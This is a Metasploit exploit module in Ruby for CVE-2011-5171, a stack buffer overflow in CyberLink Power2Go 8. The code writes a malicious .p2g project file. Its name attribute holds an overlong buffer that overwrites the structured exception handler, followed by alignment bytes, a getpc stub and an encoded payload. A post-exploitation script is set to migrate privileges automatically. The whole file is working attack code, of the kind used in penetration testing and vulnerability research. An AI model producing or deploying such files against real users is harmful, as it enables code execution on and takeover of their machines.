111 lines
3.5 KiB
Ruby
111 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CyberLink Power2Go name Attribute (p2g) Stack Buffer Overflow Exploit',
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'Description' => %q{
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This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x
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The vulnerability is triggered when opening a malformed p2g file containing an overly
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long string in the 'name' attribute of the file element. This results in overwriting a
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structured exception handler record.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'modpr0be <modpr0be[at]spentera.com>', # initial discovery
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'mr_me <steventhomasseeley[at]gmail.com>' # msf module
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],
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'References' =>
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[
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['CVE', '2011-5171'],
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['BID', '50997'],
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['OSVDB', '77600'],
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['EDB', '18220'],
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['US-CERT-VU', '158003']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn
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[ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ]
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],
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'DisclosureDate' => 'Sep 12 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g'])
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])
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end
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def get_payload(hunter)
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[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
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enc = framework.encoders.create(name)
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if name =~ /unicode/
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enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
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else
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enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
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end
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# NOTE: we already eliminated badchars
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hunter = enc.encode(hunter, nil, nil, platform)
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if name =~/alpha/
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#insert getpc_stub & align EDX, unicode encoder friendly.
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#Hardcoded stub is not an issue here because it gets encoded anyway
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getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
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hunter = getpc_stub + hunter
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end
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}
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return hunter
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end
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def exploit
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title = rand_text_alpha(10)
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buffer = ""
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buffer << rand_text_alpha(778)
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buffer << "\x58\x28" # nseh
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buffer << target['Ret'] # seh
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buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh (after byte alignment)
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buffer << "\x58\x73" # pop eax/add [ebx],dh (after byte alignment)
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buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh (after byte alignment)
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buffer << "\x40" # inc eax
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buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx (after byte alignment)
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buffer << "\x73" # add [ebx],dh (after byte alignment)
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buffer << get_payload(payload.encoded)
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p2g_data = <<-EOS
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<Project magic="#{title}" version="101">
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<Information />
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<Compilation>
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<DataDisc>
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<File name="#{buffer}" />
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</DataDisc>
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</Compilation>
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</Project>
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EOS
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(p2g_data)
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end
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end
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